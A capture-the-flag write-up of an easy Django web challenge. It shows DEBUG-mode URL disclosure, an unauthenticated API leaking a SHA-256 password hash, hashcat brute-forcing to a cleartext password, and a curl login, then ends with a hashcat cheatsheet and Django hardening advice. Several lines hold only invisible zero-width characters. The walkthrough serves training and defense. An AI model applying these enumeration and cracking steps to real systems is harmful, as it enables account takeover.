Microchip

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-20 | Status: Solved Techniques: API endpoint enumeration, Django DEBUG mode URL disclosure, Password hash extraction via API, SHA-256 hash cracking with hashcat

Summary

Task: Corporate website with Django DEBUG mode enabled. Solution: Exploited DEBUG mode to discover API endpoints, extracted password hash from /api/v2/get_users/, cracked SHA-256 hash with hashcat, and authenticated to get the flag.

Microchip — hackerlab.pro

Description

Компания по микрочипам: сложно в производстве, просто в вебе.

URL: http://62.173.140.174:16089

Analysis

1. Reconnaissance

The main page shows a corporate website "Microchip Solutions". When accessing a non-existent URL, a critical configuration error was discovered — Django DEBUG=True in production.

2. Django DEBUG Mode Information Disclosure

When requesting a non-existent page, Django shows the full list of URL patterns:

 bash read-only • copy allowed Copy
curl http://62.173.140.174:16089/nonexistent

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Disclosed endpoints:

• / — Main page
• /about/ — About company
• /contacts/ — Contacts
• /employees_login/ — Employee login form
• /api/ — API endpoint (returns {"message": "Hello!"})
• /api/v2/ — API v2
• /api/v2/get_users/ — Critical endpoint!

3. API Information Disclosure

Endpoint /api/v2/get_users/ returns a list of users with password hashes:

 bash read-only • copy allowed Copy
curl http://62.173.140.174:16089/api/v2/get_users/

Response:

 json read-only • copy allowed Copy
{
  "users": [
    {
      "username": "jackson",
      "password_hash": "3e4bfa367197004cc38f6cdbb67afac142b7f775864fea99628636a36891edf3"
    }
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The hash is 64 characters long — this is SHA-256.

Solution

Step 1: Hash Identification

 bash read-only • copy allowed Copy
# Length 64 hex characters = 256 bits = SHA-256
echo -n "3e4bfa367197004cc38f6cdbb67afac142b7f775864fea99628636a36891edf3" | wc -c
# 64

Step 2: Hash Cracking with hashcat

 bash read-only • copy allowed Copy
# Save the hash
echo "3e4bfa367197004cc38f6cdbb67afac142b7f775864fea99628636a36891edf3" > /tmp/hash.txt

# Brute force SHA-256 (mode 1400) with mask up to 6 characters
hashcat -m 1400 /tmp/hash.txt -a 3 '?a?a?a?a?a?a' --increment

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

3e4bfa367197004cc38f6cdbb67afac142b7f775864fea99628636a36891edf3:randy1

Password: randy1

Step 3: Authentication

 bash read-only • copy allowed Copy
# Login with found credentials
curl -X POST http://62.173.140.174:16089/employees_login/ \
  -d "username=jackson&password=randy1" \
  -c cookies.txt -b cookies.txt -L

After successful authentication, the flag is displayed in the welcome message.

Hashcat Cheatsheet

 bash read-only • copy allowed Copy
# SHA-256 (mode 1400)
hashcat -m 1400 hash.txt -a 3 '?a?a?a?a?a?a' --increment

# SHA-256 with wordlist
hashcat -m 1400 hash.txt wordlist.txt
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# SHA-256 with rules
hashcat -m 1400 hash.txt wordlist.txt -r rules/best64.rule

# Show cracked
hashcat -m 1400 hash.txt --show

Hashcat Masks

?l = lowercase (a-z)
?u = uppercase (A-Z)
?d = digits (0-9)
?s = special (!@#$%...)
?a = all printable (?l?u?d?s)

Defense

1. Disable DEBUG in production:

    python read-only • copy allowed Copy
   # settings.py
   DEBUG = False
   ALLOWED_HOSTS = ['your-domain.com']

2. Do not return password hashes via API:

    python read-only • copy allowed Copy
   class UserSerializer(serializers.ModelSerializer):
       class Meta:
           model = User
           exclude = ['password']  # Never include password

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Use proper hashing:

    python read-only • copy allowed Copy
   # Django uses PBKDF2 by default
   from django.contrib.auth.hashers import make_password
   hashed = make_password(password)  # Includes salt and iterations

2. Protect API endpoints:

    python read-only • copy allowed Copy
   from rest_framework.permissions import IsAuthenticated
   
   class UserViewSet(viewsets.ModelViewSet):
       permission_classes = [IsAuthenticated]

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍